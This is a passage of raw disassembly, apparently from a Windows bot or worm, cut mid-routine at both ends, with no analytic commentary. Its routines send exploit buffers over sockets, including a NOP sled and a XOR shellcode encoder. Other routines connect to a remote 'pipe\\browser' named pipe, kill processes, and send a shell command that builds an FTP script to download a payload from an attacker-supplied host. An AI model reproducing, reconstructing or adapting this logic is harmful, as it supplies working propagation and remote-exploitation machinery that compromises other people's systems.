stosd mov edi, offset loc_445E18 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 rep movsd mov eax, dword_4465BC mov ecx, edx and ecx, 3 rep movsb mov [esp+14h+arg_89C], eax loc_425A52: ; CODE XREF: sub_4257F0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, dword_511CA0 add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425A96 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4257F0+297j mov esi, dword_511CA4 push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi ; recv push 0 push 68h push offset dword_44622C push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425ACC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425ACC: ; CODE XREF: sub_4257F0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi ; recv push 0 push 0A0h push offset dword_446298 push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425AFF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_4257F0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi ; recv mov eax, [esp+74h+arg_8234] test eax, eax jz loc_425BE5 mov ecx, 1Ah mov esi, offset dword_446450 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] rep movsd movsw mov ecx, 1Ch mov esi, offset dword_4464BC lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_446530 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425BAB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_4257F0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp call near ptr 71AB615Ah nop push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BE5: ; CODE XREF: sub_4257F0+32Aj mov ecx, 1Fh mov esi, offset dword_44633C lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_4463BC lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425C4C: ; CODE XREF: sub_4257F0+3E6j ; sub_4257F0+44Dj push 12Ch nop call near ptr 2821DE2h sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_4013BB add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_4257F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: ___:00401DCAj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 nop call near ptr 71AB2BF4h mov edx, [esp+6FEh] mov [esp+10h], eax push edx call near ptr 71AB2B66h nop push 6 push 1 push 2 mov [esp+1Ah], ax nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_425E26 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E26: ; CODE XREF: ___:00425E18j lea eax, [esp+0Ch] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_425E45 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E45: ; CODE XREF: ___:00425E37j mov edi, dword_511CA0 push 0 push 89h push offset dword_445FB0 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425E6B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E6B: ; CODE XREF: ___:00425E5Dj mov esi, dword_511CA4 push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi ; recv push 0 push 0A8h push offset dword_44603C push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425EA0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EA0: ; CODE XREF: ___:00425E92j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi ; recv push 0 push 0DEh push offset dword_4460E8 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425ECF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425ECF: ; CODE XREF: ___:00425EC1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi ; recv movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_425EFB dec eax jz short loc_425EF7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EF7: ; CODE XREF: ___:00425EE9j push 0 jmp short loc_425F2E ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: ___:00425EE6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h test al, al jz short loc_425F2C mov esi, 1 jmp short loc_425F5A ; --------------------------------------------------------------------------- loc_425F2C: ; CODE XREF: ___:00425F23j push 1 loc_425F2E: ; CODE XREF: ___:00425EF9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_425F5A: ; CODE XREF: ___:00425F2Aj push ebx nop call near ptr 71AB9639h test esi, esi jz short loc_425F88 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425F88: ; CODE XREF: ___:00425F63j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426020: ; CODE XREF: ___:00401E51j push edi push 0C8h nop call near ptr 2821DE2h mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426070 proc near ; CODE XREF: sub_401A55j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 nop call near ptr 71AB2BF4h mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4260D8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260D8: ; CODE XREF: sub_426070+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_4260F8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260F8: ; CODE XREF: sub_426070+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi call near ptr 71AB615Ah nop mov ecx, offset byte_449511 call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov edx, dword_44964F push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401E10 mov ebx, dword_511AE4 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx ; _snprintf lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, dword_511CA0 push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_426187 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_426187: ; CODE XREF: sub_426070+108j push 1F4h nop call near ptr 2821DE2h mov ecx, offset byte_449511 call sub_4017EE push eax push offset aS_3 ; "%s\r\n" lea eax, [esp+5B8h+var_590] push 190h push eax call ebx ; _snprintf lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_4261DC pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4261DC: ; CODE XREF: sub_426070+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi nop call near ptr 71AB615Ah push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_426070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_426280: ; CODE XREF: ___:00402199j mov eax, 1E88h call sub_437B30 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_4469AC rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, dword_51010C rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, dword_446C24 mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_44695C rep stosd mov eax, dword_446C1C mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_44698C lea edi, [esp+69Ch] mov ax, word_446C18 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, dword_511AE4 lea ecx, [esp+1E98h] push ecx push offset dword_4468F8 push 104h push edx mov [esp+6BCh], ax call esi ; _snprintf add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_448F30 push offset byte_448F30 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_4382AA ; --------------------------------------------------------------------------- test eax, eax jz short loc_4263A5 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263A5: ; CODE XREF: ___:00426397j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi ; _snprintf add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx nop call near ptr 2850000h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4263EF or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263EF: ; CODE XREF: ___:004263E2j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_446910 push esi nop call near ptr 2780000h test eax, eax jnz short loc_426427 push esi nop call near ptr 283061Dh or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426427: ; CODE XREF: ___:00426412j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi nop call near ptr 27E0000h test eax, eax jnz short loc_426458 push esi nop call near ptr 283061Dh or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: ___:00426443j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401A55 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426520 proc near ; CODE XREF: sub_4013CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_426520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013CA mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_426585 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426585: ; CODE XREF: sub_426560+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_446C5C mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_446CC0, ecx lea ecx, [eax+1] mov dword_446CE1, ecx lea ecx, [eax+17h] mov dword_446CD9, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_446CEF, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_446CD0 lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_446CD4 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_446CD5 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_446CD9 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_446CDD mov [ecx+8], esi mov esi, dword_446CE1 mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_446CE5 rep movsd pop edi pop ebp pop esi pop ebx retn sub_426560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266D0 proc near ; CODE XREF: sub_402180j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013CA push eax call sub_4017C6 add esp, 0Ch retn sub_4266D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: ___:0040173Fj push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402180 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_426723 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426723: ; CODE XREF: ___:0042671Bj cmp eax, 0FFFFh jbe short loc_426730 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: ___:00426728j push esi push edi push ebx call sub_4013CA add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013CA add esp, 8 push eax push esi call sub_401794 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B8B push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267A0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4267A9 inc ecx loc_4267A9: ; CODE XREF: sub_4267A0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4267A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267D0 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4267E8 cmp bl, 0Dh jz short loc_4267E8 cmp bl, 5Ch jz short loc_4267E8 test bl, bl jnz short loc_4267E9 loc_4267E8: ; CODE XREF: sub_4267D0+8j ; sub_4267D0+Dj ... inc ebx loc_4267E9: ; CODE XREF: sub_4267D0+16j cmp ebx, 0FFh jbe short loc_42680C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_426806 cmp al, 0Dh jz short loc_426806 cmp al, 5Ch jz short loc_426806 test al, al jnz short loc_42680C loc_426806: ; CODE XREF: sub_4267D0+28j ; sub_4267D0+2Cj ... add ebx, 100h loc_42680C: ; CODE XREF: sub_4267D0+1Fj ; sub_4267D0+34j push ebx call sub_4017C6 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_426825 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426825: ; CODE XREF: sub_4267D0+4Fj cmp eax, 0FFFFh jbe short loc_426830 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426830: ; CODE XREF: sub_4267D0+5Aj mov al, byte_510114 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_426860 loc_426841: ; CODE XREF: sub_4267D0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_426857 cmp cl, 0Ah jz short loc_426857 cmp cl, 0Dh jz short loc_426857 cmp cl, 5Ch jnz short loc_42685B loc_426857: ; CODE XREF: sub_4267D0+76j ; sub_4267D0+7Bj ... inc al xor edx, edx loc_42685B: ; CODE XREF: sub_4267D0+85j inc edx cmp edx, ebx jb short loc_426841 loc_426860: ; CODE XREF: sub_4267D0+6Fj cmp ebx, 0FFh push edi mov byte_510114, al ja short loc_426893 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C44 mov edi, edx mov byte_446C51, bl mov byte_446C55, al rep movsd movsb mov esi, 15h jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_4267D0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C2C mov edi, edx mov word_446C3A, bx mov byte_446C3F, al rep movsd movsw movsb mov esi, 17h loc_4268B9: ; CODE XREF: sub_4267D0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4268CF add esi, edx loc_4268C2: ; CODE XREF: sub_4267D0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4268C2 loc_4268CF: ; CODE XREF: sub_4267D0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4267D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426930 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_44B19F[eax*4], ecx mov dword_44B18B[eax*4], ecx mov dword_44B18F[eax*4], ecx mov dword_44B193[eax*4], ecx mov dword_44B197[eax*4], ecx mov dword_44B19B[eax*4], ecx mov byte_44AF8B[eax*4], cl mov byte_44B1A3[eax*4], cl retn sub_426930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_426A57 cmp ecx, 400h jge loc_426A57 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_44B19F[esi*4] push eax call near ptr 2770AD1h nop cmp dword_44B19F[esi*4], ebx jz short loc_4269E8 mov ebp, 1 loc_4269E8: ; CODE XREF: sub_4269A0+41j mov dword_44B19F[esi*4], ebx mov dword_44B18B[esi*4], ebx mov dword_44B18F[esi*4], ebx mov eax, dword_44B193[esi*4] cmp eax, ebx jbe short loc_426A11 push eax call sub_401C80 add esp, 4 loc_426A11: ; CODE XREF: sub_4269A0+66j mov edi, dword_511C9C mov dword_44B193[esi*4], ebx mov byte_44AF8B[esi*4], bl mov byte_44B1A3[esi*4], bl mov ecx, dword_44B197[esi*4] push ecx call edi ; closesocket mov dword_44B197[esi*4], ebx mov edx, dword_44B19B[esi*4] lea esi, ds:44B19Bh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269A0+Cj ; sub_4269A0+18j mov eax, ebp pop ebp pop ebx retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B18F loc_426AA1: ; CODE XREF: sub_426A90+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_426AD5 test ebx, ebx jle short loc_426AC7 cmp [esi], ebx jz short loc_426AB8 cmp edi, ebx jnz short loc_426AD5 loc_426AB8: ; CODE XREF: sub_426A90+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 jmp short loc_426AD4 ; --------------------------------------------------------------------------- loc_426AC7: ; CODE XREF: sub_426A90+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 loc_426AD4: ; CODE XREF: sub_426A90+35j inc ebp loc_426AD5: ; CODE XREF: sub_426A90+1Aj ; sub_426A90+26j ... add esi, 234h inc edi cmp esi, offset byte_4D818F jl short loc_426AA1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_426A90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; CODE XREF: sub_401C80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2700000h mov esi, eax test esi, esi jz short loc_426B45 push 0 push esi nop call near ptr 2790261h test eax, eax jnz short loc_426B45 push esi xor edi, edi nop call near ptr 283061Dh loc_426B45: ; CODE XREF: sub_426B10+1Dj ; sub_426B10+2Aj mov eax, edi pop edi pop esi retn sub_426B10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B60 proc near ; CODE XREF: sub_40148Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_44B18B loc_426B6B: ; CODE XREF: sub_426B60+1Cj cmp [ecx], edx jnz short loc_426B70 inc eax loc_426B70: ; CODE XREF: sub_426B60+Dj add ecx, 234h cmp ecx, offset byte_4D818B jl short loc_426B6B retn sub_426B60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B90 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_44B18B loc_426B9E: ; CODE XREF: sub_426B90+1Fj cmp [ecx], edx jz short loc_426BB3 add ecx, 234h inc eax cmp ecx, offset byte_4D818B jl short loc_426B9E mov eax, esi loc_426BB3: ; CODE XREF: sub_426B90+10j pop esi retn sub_426B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BD0 proc near ; CODE XREF: sub_401BEAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_44AF8B loc_426BD8: ; CODE XREF: sub_426BD0+18j cmp byte ptr [eax], 0 jz short loc_426BEE add eax, 234h inc edi cmp eax, offset dword_4D7F8B jl short loc_426BD8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_426BEE: ; CODE XREF: sub_426BD0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:44AF8Bh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi nop call near ptr 77C47A90h mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_426BD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426C70 proc near ; CODE XREF: sub_401613j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_426C70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 